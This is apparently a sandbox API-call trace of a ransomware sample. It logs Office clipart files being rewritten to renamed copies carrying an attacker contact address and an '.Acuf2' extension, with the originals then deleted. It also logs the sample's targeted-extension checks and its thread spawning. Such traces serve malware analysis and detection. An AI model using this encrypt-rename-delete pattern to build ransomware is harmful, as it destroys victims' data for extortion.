	[0059.634] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0059.634] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.634] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.634] GetLastError () returned 0x0
	[0059.634] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x205, lpOverlapped=0x0) returned 1
	[0059.635] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x210, lpOverlapped=0x0) returned 1
	[0059.636] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.636] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.636] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.636] CloseHandle (hObject=0x1a0) returned 1
	[0059.637] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.637] SetEndOfFile (hFile=0x184) returned 1
	[0059.638] CloseHandle (hObject=0x184) returned 1
	[0059.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 1
	[0059.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63
	[0059.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63
	[0059.638] lstrlenW (lpString=".doc") returned 4
	[0059.638] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.638] lstrlenW (lpString=".docx") returned 5
	[0059.638] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.638] lstrlenW (lpString=".pdf") returned 4
	[0059.638] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.638] lstrlenW (lpString=".xls") returned 4
	[0059.638] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.639] lstrlenW (lpString=".xlsx") returned 5
	[0059.639] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.639] lstrlenW (lpString=".ppt") returned 4
	[0059.639] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63
	[0059.639] lstrlenW (lpString=".zip") returned 4
	[0059.639] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.639] lstrlenW (lpString=".rar") returned 4
	[0059.639] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.639] lstrlenW (lpString=".bz2") returned 4
	[0059.639] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.639] lstrlenW (lpString=".7z") returned 3
	[0059.639] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63
	[0059.639] lstrlenW (lpString=".dbf") returned 4
	[0059.639] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63
	[0059.639] lstrlenW (lpString=".1cd") returned 4
	[0059.639] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 63
	[0059.639] lstrlenW (lpString=".jpg") returned 4
	[0059.639] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0059.640] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.640] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0059.640] GetLastError () returned 0x0
	[0059.640] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x1f6, lpOverlapped=0x0) returned 1
	[0059.641] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x200, lpOverlapped=0x0) returned 1
	[0059.642] ReadFile (in: hFile=0x184, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.642] WriteFile (in: hFile=0x1a0, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.642] SetEndOfFile (hFile=0x1a0) returned 1
	[0059.642] CloseHandle (hObject=0x1a0) returned 1
	[0059.642] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.642] SetEndOfFile (hFile=0x184) returned 1
	[0059.643] CloseHandle (hObject=0x184) returned 1
	[0059.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.643] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 1
	[0059.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63
	[0059.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63
	[0059.644] lstrlenW (lpString=".doc") returned 4
	[0059.644] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.644] lstrlenW (lpString=".docx") returned 5
	[0059.644] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.644] lstrlenW (lpString=".pdf") returned 4
	[0059.644] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.644] lstrlenW (lpString=".xls") returned 4
	[0059.644] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.644] lstrlenW (lpString=".xlsx") returned 5
	[0059.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.644] lstrlenW (lpString=".ppt") returned 4
	[0059.644] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63
	[0059.644] lstrlenW (lpString=".zip") returned 4
	[0059.644] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.644] lstrlenW (lpString=".rar") returned 4
	[0059.644] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.644] lstrlenW (lpString=".bz2") returned 4
	[0059.644] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.644] lstrlenW (lpString=".7z") returned 3
	[0059.644] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63
	[0059.644] lstrlenW (lpString=".dbf") returned 4
	[0059.644] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63
	[0059.645] lstrlenW (lpString=".1cd") returned 4
	[0059.645] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 63
	[0059.645] lstrlenW (lpString=".jpg") returned 4
	[0059.645] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0059.654] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.665] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0059.672] GetLastError () returned 0x0
	[0059.672] ReadFile (in: hFile=0x158, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x319e, lpOverlapped=0x0) returned 1
	[0059.676] WriteFile (in: hFile=0x18c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x31a0, lpOverlapped=0x0) returned 1
	[0059.677] ReadFile (in: hFile=0x158, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0059.677] WriteFile (in: hFile=0x18c, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0059.677] SetEndOfFile (hFile=0x18c) returned 1
	[0059.677] CloseHandle (hObject=0x18c) returned 1
	[0059.677] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0059.677] SetEndOfFile (hFile=0x158) returned 1
	[0059.678] CloseHandle (hObject=0x158) returned 1
	[0059.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0059.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 1
	[0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63
	[0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63
	[0059.679] lstrlenW (lpString=".doc") returned 4
	[0059.679] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0059.679] lstrlenW (lpString=".docx") returned 5
	[0059.679] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0059.679] lstrlenW (lpString=".pdf") returned 4
	[0059.679] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0059.679] lstrlenW (lpString=".xls") returned 4
	[0059.679] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0059.679] lstrlenW (lpString=".xlsx") returned 5
	[0059.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0059.679] lstrlenW (lpString=".ppt") returned 4
	[0059.679] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63
	[0059.679] lstrlenW (lpString=".zip") returned 4
	[0059.679] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0059.679] lstrlenW (lpString=".rar") returned 4
	[0059.679] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0059.679] lstrlenW (lpString=".bz2") returned 4
	[0059.679] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0059.679] lstrlenW (lpString=".7z") returned 3
	[0059.679] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63
	[0059.679] lstrlenW (lpString=".dbf") returned 4
	[0059.679] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63
	[0059.679] lstrlenW (lpString=".1cd") returned 4
	[0059.679] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0059.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 63
	[0059.679] lstrlenW (lpString=".jpg") returned 4
	[0059.679] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1

Thread:
	id = 9
	os_tid = 0x948

	[0036.565] GetTickCount () returned 0x18f34
	[0036.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x54a500
	[0036.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54a500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114
	[0036.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54a500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0036.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54a500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140
	[0036.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54a500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144
	[0036.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540948
	[0036.574] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540948, Size=0x20) returned 0x525d68
	[0036.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540948
	[0036.574] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540948, Size=0x20) returned 0x525c28
	[0036.574] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.574] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.574] Wow64DisableWow64FsRedirection (in: OldValue=0x25bff84 | out: OldValue=0x25bff84*=0x0) returned 1
	[0036.574] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525d68 | out: hHeap=0x4f0000) returned 1
	[0036.574] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525c28 | out: hHeap=0x4f0000) returned 1
	[0036.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x54d438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148
	[0036.575] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0036.879] GetTickCount () returned 0x18fa1
	[0036.880] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0037.049] GetTickCount () returned 0x1904d
	[0037.049] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0037.731] GetTickCount () returned 0x190e9
	[0037.731] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0037.903] GetTickCount () returned 0x19194
	[0037.903] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0038.172] GetTickCount () returned 0x1928e
	[0038.172] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0038.708] GetTickCount () returned 0x194a0
	[0038.708] GetTickCount () returned 0x194a0
	[0038.708] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0039.298] GetTickCount () returned 0x196f1
	[0039.298] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0039.764] GetTickCount () returned 0x198c5
	[0039.764] GetTickCount () returned 0x198c5
	[0039.764] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0039.920] GetTickCount () returned 0x19961
	[0039.920] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0040.382] GetTickCount () returned 0x19ae7
	[0040.382] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0040.760] GetTickCount () returned 0x19bf0
	[0040.760] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0041.175] GetTickCount () returned 0x19d95
	[0041.175] GetTickCount () returned 0x19d95
	[0041.175] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0041.435] GetTickCount () returned 0x19e9f
	[0041.435] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0041.576] GetTickCount () returned 0x19f0c
	[0041.576] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0041.916] GetTickCount () returned 0x1a053
	[0041.916] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0042.182] GetTickCount () returned 0x1a15d
	[0042.182] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0042.628] GetTickCount () returned 0x1a2c3
	[0042.628] GetTickCount () returned 0x1a2c3
	[0042.628] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0042.875] GetTickCount () returned 0x1a39e
	[0042.875] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0043.199] GetTickCount () returned 0x1a4b7
	[0043.199] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0043.601] GetTickCount () returned 0x1a5cf
	[0043.601] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0043.940] GetTickCount () returned 0x1a68b
	[0043.940] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0044.506] GetTickCount () returned 0x1a85f
	[0044.506] GetTickCount () returned 0x1a85f
	[0044.506] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0044.849] GetTickCount () returned 0x1a9b6
	[0044.849] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0045.406] GetTickCount () returned 0x1aba9
	[0045.406] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0045.724] GetTickCount () returned 0x1acf1
	[0045.724] GetTickCount () returned 0x1acf1
	[0045.724] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0045.937] GetTickCount () returned 0x1ad9c
	[0045.937] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0046.353] GetTickCount () returned 0x1af32
	[0046.353] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0046.736] GetTickCount () returned 0x1b0b8
	[0046.736] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0047.197] GetTickCount () returned 0x1b24d
	[0047.197] GetTickCount () returned 0x1b24d
	[0047.197] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0047.719] GetTickCount () returned 0x1b460
	[0047.719] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0047.967] GetTickCount () returned 0x1b54a
	[0047.967] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0048.116] GetTickCount () returned 0x1b5e6
	[0048.116] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0048.530] GetTickCount () returned 0x1b77b
	[0048.530] GetTickCount () returned 0x1b77b
	[0048.530] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0048.731] GetTickCount () returned 0x1b846
	[0048.731] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0049.844] GetTickCount () returned 0x1bca9
	[0049.844] GetTickCount () returned 0x1bca9
	[0049.844] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0050.181] GetTickCount () returned 0x1bdf1
	[0050.181] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0050.291] GetTickCount () returned 0x1be5e
	[0050.291] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0050.761] GetTickCount () returned 0x1c042
	[0050.761] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0051.140] GetTickCount () returned 0x1c1b8
	[0051.140] GetTickCount () returned 0x1c1b8
	[0051.140] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0051.564] GetTickCount () returned 0x1c35d
	[0051.564] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0051.861] GetTickCount () returned 0x1c486
	[0051.861] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0052.477] GetTickCount () returned 0x1c6f6
	[0052.477] GetTickCount () returned 0x1c6f6
	[0052.477] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0053.026] GetTickCount () returned 0x1c918
	[0053.026] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0053.311] GetTickCount () returned 0x1ca31
	[0053.311] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0053.540] GetTickCount () returned 0x1cb1b
	[0053.540] GetTickCount () returned 0x1cb1b
	[0053.540] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0053.826] GetTickCount () returned 0x1cc33
	[0053.826] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0054.671] GetTickCount () returned 0x1cf7e
	[0054.671] GetTickCount () returned 0x1cf7e
	[0054.671] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0055.051] GetTickCount () returned 0x1d104
	[0055.051] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0055.360] GetTickCount () returned 0x1d22c
	[0055.360] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0055.593] GetTickCount () returned 0x1d316
	[0055.593] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0055.944] GetTickCount () returned 0x1d47d
	[0055.944] GetTickCount () returned 0x1d47d
	[0055.944] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0056.915] GetTickCount () returned 0x1d844
	[0056.915] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0057.188] GetTickCount () returned 0x1d94d
	[0057.188] GetTickCount () returned 0x1d94d
	[0057.188] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0057.555] GetTickCount () returned 0x1dac4
	[0057.555] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0057.807] GetTickCount () returned 0x1dbbd
	[0057.807] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0058.047] GetTickCount () returned 0x1dca7
	[0058.047] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0058.815] GetTickCount () returned 0x1dfb3
	[0058.815] GetTickCount () returned 0x1dfb3
	[0058.815] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0059.619] GetTickCount () returned 0x1e2cf
	[0059.619] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0059.857] GetTickCount () returned 0x1e3c9
	[0059.857] GetTickCount () returned 0x1e3c9
	[0059.857] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0060.337] GetTickCount () returned 0x1e59d
	[0060.337] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) returned 0x102
	[0060.511] GetTickCount () returned 0x1e648
	[0060.511] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x64) 

Thread:
	id = 10
	os_tid = 0x94c

	[0036.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x59e480
	[0036.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5ae488
	[0036.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408b8
	[0036.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x52a398
	[0036.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408d0
	[0036.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3110020
	[0036.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408e8
	[0036.567] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5408e8, Size=0x20) returned 0x525c28
	[0036.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5408e8
